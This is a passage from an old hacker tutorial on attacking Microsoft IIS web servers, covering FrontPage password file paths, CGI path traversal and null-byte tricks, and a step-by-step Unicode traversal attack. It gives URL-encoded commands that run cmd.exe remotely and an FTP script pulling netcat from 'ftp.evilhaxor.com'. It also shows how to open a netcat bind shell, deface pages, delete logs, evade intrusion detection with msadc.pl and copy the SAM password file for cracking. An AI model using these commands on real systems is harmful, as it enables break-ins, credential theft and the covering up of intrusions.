guide to iis exploitation.txt

1000 HOWTOs for various needs [WINDOWS]

  .stm   - c:\winnt\system32\inetsrv\ssinc.dll


--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've 
ever wondered why they use _vti_) is a web design tool that helps you 
create and maintain a web site and allows you to publish it to the web 
server. 

In order to publish using Frontpage the server needs to run certain 
programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in 
Frontpage. You can list all the files, download password files and upload 
your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to 
get all the information it needs to publish:

  http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

  http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to 
abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world 
readable. Here's some of the things you can look for:

  http://www.myserver.com/_vti_pvt/administrators.pwd
  http://www.myserver.com/_vti_pvt/authors.pwd
  http://www.myserver.com/_vti_pvt/service.pwd
  http://www.myserver.com/_vti_pvt/shtml.dll
  http://www.myserver.com/_vti_pvt/shtml.exe
  http://www.myserver.com/_vti_pvt/users.pwd
  http://www.myserver.com/_private


--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external 
applications to the web server. A CGI program is excuted in real time and 
is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed 
anywhere. The programs can be written most languages but typically they are 
written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like 
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to 
look through the source of the scripts for bad system calls and lax input 
validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read 
the following tutorials... they explain it better than I ever could:

  Hacking CGI       - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
  Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input 
validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi 
using the techniques from previous sections. First, we need to cover some 
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.

  <FORM NAME="myform" "METHOD=GET" ACTION="../cgi-bin/my_cgi.cgi">

When the user clicks on the submit button his information is passed to the 
CGI script to process either via the URL (GET) or via HTTP headers (POST). 
Lets assume that the CGI we are going to exploit asks the user for the name 
of a file to display. The 'GET' method uses the URL to pass the information 
and it would look like this:

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

  ?            - separates the request from the parameters
  filename     - this is the name of the textbox in the html
  =            - assignment for the parameter/value pair
  /etc/passwd  - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be 
passed to the CGI. They are separated using a '&':

  http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break 
the CGI then good, you're starting to think in terms of security. Lots of 
developers love to program new and interesting things but they do not 
consider security. A security conscious programmer would write input 
validation routines that would process the data and ensure the user wasn't 
be malicious or curious. 

As you read through some of the free scripts on the web you will start to 
realise that many programmers do not think about security. Lets look briefly 
at some ways we could exploit the CGI. The first thing to keep in mind is 
that you already know the generic exploits from the previous section. The 
only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume 
its written Perl). Lets look at some of the things we can try:

  my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

  my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with 
poison null bytes. Stop now and go read it... can't be arsed? ok then,  
here's the quick version. %00 is valid in a string with Perl but is NUL 
in C. So? When Perl wants to open the file it makes a request to the
operating system through a system call. The operating system is written in 
C and %00 is a string delimiter. Lets apply this technique to the 
following situation.

I decide to secure my CGI. I append '.html' to any request. This means that 
the user can only view html files and if they try something else then it 
doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

  my_cgi.pl?filename=../../../../etc/passwd%00

In Perl the filename string would look like this:

  "../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is 
passed to the OS (which is written in C not Perl) the request looks like 
this:

  "../../../../etc/passwd"

The OS identifies %00 as the string delimiter and ignores anything that 
Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the 
script. Then the wiley hax0r will go to altavista and search for sites 
that are using that script, eg:

  url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the 
taking.

The final method of exploiting CGI is via buffer overflows. Languages like 
Java and Perl are immune to buffer overflows because the language looks 
after memory management. Programs written in a language such as C are 
vulnerable because the programmer is supposed to manage the memory. Some 
programmers fail to check the size of data it is fitting into the memory 
buffer and overwrites data in the stack. 

The goal of the buffer overflow is to overwrite the instruction pointer
which points to the location of the next bit of code to run. An attacker 
will attempt to overwrite this pointer with a new pointer that points to 
attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For 
Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause
a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document. 
Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

  http://www.phrack.com/phrack/49/P49-14


--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but 
I'm not going to cover everything. I suggest going to the following URL's 
and searching for IIS:

  http://www.securityfocus.com/
  http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits 
and so that is going to be the focus of the exploitation. The first exploit 
I'm going to go through is the recent Unicode exploit for IIS4/5: 

  http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me 
explain. This had wide exposure on Bugtraq as the Unicode exploit. In 
reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep 
calling this the Unicode exploit because its now referenced by this name in 
the Bugtraq archives and you'll have to search using Unicode to do further
research.

Ok, rant over... To check if the server is exploitable, request the 
following URL:

  http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server. 
The important thing to note is that the Unicode string can vary depending 
where in the world you are. Some possible alternatives include:

  %c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc 

There are many more to choose from, just look at some of the Bugtraq posts or 
research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing 
and the ability to run commands, so you need to find the web root. By default, 
the web root is at:

  c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and 
see if we can see it:

  cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get 
around that by creating a copy of the cmd.exe that has write privileges:

  cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

  http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

  fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

  http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the 
words of Microsoft, where do you want to go today? Working via the URL is 
pretty clunky and I like the comfort of a nice command prompt, So lets do 
that. I want to bring over a copy of netcat and a nice html page that I'll 
use to replace the existing one.

First I need to think about the script I want to run that will get the 
files I need from my FTP server:

 fugscript:
  open ftp.evilhaxor.com
  anonymous
  [e-mail]
  cd pub
  get nc.exe
  get hacked.html
  quit

Right. I need to get this script onto the webserver:

  fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript
  fug.exe?/c+echo%20anonymous>>fugscript
  fug.exe?/[e-mail]>>fugscript
  fug.exe?/c+echo%20cd%20pub>>fugscript
  fug.exe?/c+echo%20get%20nc.exe>>fugscript
  fug.exe?/c+echo%20get%20hacked.html>>fugscript
  fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step 
is to execute the script and get my files from my web server.

  fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files 
transferred. Be patient and give it time to transfer. Now you are ready to 
get netcat listening on a port. The command line for starting netcat is:

  nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e) 
when someone connects. The last step is to translate this command into URL 
speak ;-):

  fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and 
voila... you have a cmd prompt. I really hate web defacements... so if your 
going to do it then rename the existing index.htm (or default.htm) to 
something like index.htm.old (give the poor admin a break, cause you can bet
your arse that he hasn't made a backup). ALSO: you are now using a system 
without authorisation and as such, you are guilty under the Computer Misuse 
Act in the UK and probably of something similar in your own country. If it 
never occurred to you to delete the contents of c:\winnt\system32\logfiles 
or the 'fugscript' file then you really shouldn't be doing this.



It just wouldn't be right to talk about IIS exploitation without mentioning 
msadc.pl. rfp's perl script is a perfect example of exploit chaining. A 
single exploit is not used but a chain of exploits to get the script to 
work.

The exploit utilises a combination of inadequate application input validation 
and default install fun. The process tries to connect to a Data Source Name 
(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method. 
This test will be logged and you should edit the script to make it a HEAD 
request and add some URL obfuscation madness. 

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME 
separator string. It is advised to change this string as some IDS's are 
configured to identify this string.

If you want to write your own scanners then you should be looking for 
headers with the content type:

  application/x-varg

and of course the IIS version :-) I don't want to go into too much detail 
because this is heavily documented on rfp's site:

  http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

  ./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

  command:

Its interesting to note at this point that 'cmd /c' will is run as with the
previous exploit. You can edit the script to run any other executable such 
as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server. 
The previous Unicode exploit should have given you some ideas but here's a 
couple that come to mind:

  Example 1:
  copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

  (grabbing fug.hak via your browser should give you a nice file to fire up 
   in L0phtcrack or JTR)

  Example 2:
  echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript
  && echo mypassword>>fugscript... etc. etc.
  
Anyway, that's about all for now. When I can be bothered I'll add some more 
methods to this file. Until then, ensure your box is fully patched and the 
default scripts are removed. Go have a look at the following URL and get 
secure:

  http://www.microsoft.com/security/

***************************************************************************
Greetz to: ReDeeMeR, BarnseyBoy, Reeferman, gabbana, think12, Wang, Enstyne, 
           [502BOP], Muad_Dib, Macster, n0face, palmito, kph, Homicide, Col, 
           Axem, Booto, _Penguin, nsh, Chawmp, shad, hellz and everyone in 
           #CA who are way too numerous to mention.
***************************************************************************